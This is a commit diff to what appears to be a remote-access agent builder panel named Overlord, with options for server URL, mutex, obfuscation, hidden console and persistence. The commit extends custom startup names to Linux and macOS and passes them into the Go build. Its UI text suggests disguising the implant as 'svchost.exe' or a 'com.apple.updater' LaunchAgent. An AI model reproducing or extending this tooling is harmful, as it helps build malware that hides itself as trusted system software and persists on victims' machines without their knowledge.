add custom startup names to mac and linux. Also update readme for windows users who are using the server
This commit is contained in:
@@ -219,6 +219,10 @@ const persistenceEmptyState = document.getElementById("persistence-empty-state")
|
||||
const persistenceWindowsSettings = document.getElementById("persistence-windows-settings");
|
||||
const persistenceLinuxSettings = document.getElementById("persistence-linux-settings");
|
||||
const persistenceMacSettings = document.getElementById("persistence-macos-settings");
|
||||
const persistenceStartupNameContainer = document.getElementById("persistence-startup-name-container");
|
||||
const startupNameMacosHint = document.getElementById("startup-name-macos-hint");
|
||||
const startupNameDefaultHint = document.getElementById("startup-name-default-hint");
|
||||
const startupNameError = document.getElementById("startup-name-error");
|
||||
const platformInputs = document.querySelectorAll('input[name="platform"]');
|
||||
|
||||
function getSelectedPlatformFamilies() {
|
||||
@@ -233,6 +237,20 @@ function getSelectedPlatformFamilies() {
|
||||
};
|
||||
}
|
||||
|
||||
function validateStartupName() {
|
||||
if (!startupNameError) return true;
|
||||
const families = getSelectedPlatformFamilies();
|
||||
const val = document.getElementById("startup-name")?.value.trim() || "";
|
||||
if (families.darwin && val && !val.startsWith("com.")) {
|
||||
startupNameError.textContent = "macOS requires the name to start with \"com.\" (e.g. com.apple.updater)";
|
||||
startupNameError.classList.remove("hidden");
|
||||
return false;
|
||||
}
|
||||
startupNameError.textContent = "";
|
||||
startupNameError.classList.add("hidden");
|
||||
return true;
|
||||
}
|
||||
|
||||
function updatePersistenceSettingsVisibility() {
|
||||
if (!persistenceMethodContainer) return;
|
||||
|
||||
@@ -256,9 +274,19 @@ function updatePersistenceSettingsVisibility() {
|
||||
if (persistenceMacSettings) {
|
||||
persistenceMacSettings.classList.toggle("hidden", !families.darwin);
|
||||
}
|
||||
if (persistenceStartupNameContainer) {
|
||||
persistenceStartupNameContainer.classList.toggle("hidden", !hasSupportedFamily);
|
||||
}
|
||||
if (startupNameMacosHint) {
|
||||
startupNameMacosHint.classList.toggle("hidden", !families.darwin);
|
||||
}
|
||||
if (startupNameDefaultHint) {
|
||||
startupNameDefaultHint.classList.toggle("hidden", families.darwin);
|
||||
}
|
||||
if (persistenceEmptyState) {
|
||||
persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily);
|
||||
}
|
||||
validateStartupName();
|
||||
}
|
||||
|
||||
if (persistenceCheckbox && persistenceMethodContainer) {
|
||||
@@ -270,6 +298,8 @@ platformInputs.forEach((input) => {
|
||||
input.addEventListener("change", updateWindowsSectionVisibility);
|
||||
});
|
||||
|
||||
document.getElementById("startup-name")?.addEventListener("input", validateStartupName);
|
||||
|
||||
updatePersistenceSettingsVisibility();
|
||||
|
||||
form?.addEventListener("change", saveFormSettings);
|
||||
@@ -554,6 +584,11 @@ form?.addEventListener("submit", async (e) => {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!validateStartupName()) {
|
||||
document.getElementById("startup-name")?.focus();
|
||||
return;
|
||||
}
|
||||
|
||||
const serverUrl = form.querySelector("#server-url").value.trim();
|
||||
const rawServerList = form.querySelector("#raw-server-list")?.checked || false;
|
||||
const mutex = form.querySelector("#mutex")?.value.trim() || "";
|
||||
@@ -565,10 +600,11 @@ form?.addEventListener("submit", async (e) => {
|
||||
'input[name="enable-persistence"]',
|
||||
).checked;
|
||||
const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-"));
|
||||
const hasPersistentUnixTarget = platforms.some((p) => p.startsWith("linux-") || p.startsWith("darwin-"));
|
||||
const persistenceMethods = hasWindowsTarget
|
||||
? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value)
|
||||
: undefined;
|
||||
const startupNameVal = hasWindowsTarget
|
||||
const startupNameVal = (hasWindowsTarget || hasPersistentUnixTarget)
|
||||
? (form.querySelector("#startup-name")?.value.trim() || "")
|
||||
: "";
|
||||
const hideConsole = form.querySelector(
|
||||
@@ -604,7 +640,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
|
||||
startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined,
|
||||
startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined,
|
||||
hideConsole,
|
||||
noPrinting,
|
||||
outputName: outputNameVal || undefined,
|
||||
|
||||
@@ -350,16 +350,6 @@
|
||||
</div>
|
||||
</label>
|
||||
</div>
|
||||
<div class="mt-3">
|
||||
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
||||
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
|
||||
</div>
|
||||
<input type="text" id="startup-name" name="startup-name" maxlength="32"
|
||||
pattern="[A-Za-z0-9_-]+"
|
||||
placeholder="ovd (default)"
|
||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
|
||||
<p class="text-xs text-slate-500 mt-1">Custom executable name used by all selected methods (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
|
||||
@@ -376,9 +366,21 @@
|
||||
<i class="fa-brands fa-apple text-slate-200"></i> macOS Persistence
|
||||
</div>
|
||||
<p class="text-xs text-slate-500">
|
||||
Uses <code>LaunchAgents</code> (<code>com.overlord.agent.plist</code>) for login persistence.
|
||||
Uses <code>LaunchAgents</code> for login persistence. The startup name is used as the plist label and <strong class="text-orange-400">must start with <code>com.</code></strong> (e.g. <code>com.apple.updater</code>).
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div id="persistence-startup-name-container" class="hidden">
|
||||
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
||||
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
|
||||
</div>
|
||||
<input type="text" id="startup-name" name="startup-name" maxlength="32"
|
||||
pattern="[A-Za-z0-9_.-]+"
|
||||
placeholder="ovd (default)"
|
||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
|
||||
<p class="text-xs text-slate-500 mt-1">Custom name for the installed executable. On Windows: used as filename (<code>svchost</code> → <code>svchost.exe</code>). On macOS: also used as the LaunchAgent label — <span id="startup-name-macos-hint" class="hidden text-orange-400 font-medium">must start with <code>com.</code> (e.g. <code>com.apple.updater</code>).</span><span id="startup-name-default-hint">Leave blank for a default randomized name.</span></p>
|
||||
<p id="startup-name-error" class="hidden text-xs text-red-400 mt-1 font-medium"></p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -713,7 +713,7 @@ func runBoundFiles() {
|
||||
? config.persistenceMethods
|
||||
: ['startup'];
|
||||
sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" });
|
||||
if (os === 'windows' && config.startupName) {
|
||||
if (config.startupName) {
|
||||
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
|
||||
ldflags = `${ldflags} ${startupNameFlag}`;
|
||||
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
|
||||
|
||||
@@ -147,9 +147,16 @@ export async function handleBuildRoutes(
|
||||
: ['startup'];
|
||||
if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup');
|
||||
const safeStartupName =
|
||||
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
|
||||
typeof startupName === 'string' && /^[A-Za-z0-9_.-]{1,64}$/.test(startupName.trim())
|
||||
? startupName.trim()
|
||||
: undefined;
|
||||
const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-'));
|
||||
if (hasDarwinTarget && safeStartupName && !safeStartupName.startsWith('com.')) {
|
||||
return Response.json(
|
||||
{ error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
|
||||
? outputName.trim()
|
||||
: undefined;
|
||||
|
||||
Reference in New Issue
Block a user